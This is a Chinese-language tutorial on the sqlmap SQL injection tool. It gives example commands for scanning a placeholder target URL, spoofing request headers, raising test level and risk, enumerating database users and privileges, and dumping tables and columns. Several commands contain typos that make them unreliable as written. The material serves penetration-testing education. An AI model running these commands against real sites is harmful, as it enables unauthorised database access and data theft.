SqImap是一种开源的渗透测试工具,可以自动检测和利用SQL注入漏洞以及接入该数据库的服务器。它拥有非常强大的检测引擎、具有多种特性的渗透测试器、通过数据库指纹提取访问底层文件系统并通过外带连接执行命令。支持的数据库: MySQL , Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, sQLite,Firebird, Sybase and SAP MAXDB。

sqlmap支持五种不同的注入模式:

➢UNION query SQL, injection (可联合查询注入)
➢Error-based SQL injection (报错型注入)
➢Boolean-based blind SQL injection (布尔型注入)
➢Time-based blind SQL injection (基 于时间延迟注入)
➢Stacked queries SQL injection (可多语句查询注入)

食用方式

设置目标url

➢-u /–url
最基本格式

python sqlmap.py -u "http://www.target.com/index.php?id=1"

➢-m
从文本中获取多个目标扫描,但是每一行一个url

sqlmap -m "urllist.txt"

➢-r
从文件中加载HTTP请求,这样的话就不需要在去设定Cookie,POST数据等等·

sqlmap -r "/tmp/1.txt"

设置回显等级

参数: -V默认为1

python sqlmap.py -u "http://www.target.com/index.php?id=1" -v
➢0、只显示python错误以及严重的信息
➢1、同时显示基本信息和警告信息( 默认等级)
➢2、同时显示debug信息
➢3、同时显示注入的payload
➢4、同时显示HTTP请求
➢5、同时显示HTTP响应头
➢6、同时显示HTTP响应页面

设置http数据包相关参数

参数: --data
此参数是把数以POST方式提交, sqlmap会像检测GET参数一样检测POST过去的参数。

python sq1map.py -u "http://www.target.com/vuln.php" --data="id=1"

参数: --cookie
当web需要登录的时候,需要我们抓包获取cookie参数,然后复制出来,加到–cookie参数中。
参数: --user-agent
默认情况下sq|map的HTTP请求头中的User-Agent值是:
sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)这个时候可以手动指定伪造一个User-Agent

sqlmap -u "http://www.target.com" --level 3 --user-agent="aaaaaa" --dbs

参数: --random-agent
会从sqlmap/txt/user-agents.txt中随机产生User-Agent头
参数: --referer
sqlmap可以在请求中伪造HTTP中的referer.
当--level参数设定> =3时,会尝试进行referer注入

sqlmap -u "http://www.target.com" --leve 3 --referer="www.baidu.com" -dbs

参数: --delay
可以设定两个http请求间的延迟,设定为1的时候是1秒,默认是没有延迟的。
参数: --timeout
可以设定一个http请求超过对久判定为超时,默认是30秒。

指定测试参数

参数: --skip
但是使用–level的值很大但是有个别参数不行测试的时候可以使用–skip参数
例如: --skip="user-agent,referer"
参数: -p
sqlmap默认会测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。
例如: -p "id,user-angent”

设定探测等级

参数: --level
共有五个等级,默认为1,sqlmap使用的payload可以在xml/payloads.xmI中看到
自己也可以根据相应的格式添加自己的payload.

level>=2的时候就会测试HTTP Cookie
level>=3的时候就会测试HTTP User-Agent/Referer头
level=5的时候会测试HTTP Host

设定探测风险等级

参数: --risk
共有四个风险等级:

默认是1会测试大部分的测试语句, 
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试。
在有些时候,例如在UPDATE的语句中,注入一个OR的测试语句,可能导致更新的整个表,可能造成很大的风险。

一些常用参数

--users  列数据库管理用户,当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户。
--current-user  在大多数据库中可以获取到管理数据的用户。
--is-dba  判断当前的用户是否为管理,是的话会返回True。
--privilges  当前用户有权限读取包含所有用户的表的权限时,很可能列举出每个用户的权限,sqlmap将 会告诉你哪个是数据库的超级管理员。也可以用`-U`参数指定你想看那个用户的权限。
--proxy 指定一个代理服务器eg: `-proxy http://local:8080`
--prefix=PREFIX  注入payload字符串前缀
--suffix=SUFFIX  注入payload字符串后缀
sglmap -u "www.target.com/index.php?id=1" -p id --prefix "')" --suffix "AND ('1'='1”

列数据

--dbs        //列出所有数据库名称
-- current-db         //列出当前数据库名称
-D ~~指定数据库名~~ --tables        //指定数据库的所有表名
--tables -D database_name
-D ~~指定数据库名~~ -T ~~指定表名~~ --columns //查询指定数据库的表中的列名
--columns -T table_name -D database_name
-D ~~指定数据库名~~ -T ~~指定表名~~ -C 字段,字段,字段 --dump //dump列中的数据结果
--dump -C column_1,column_2 -T table_name -D database_name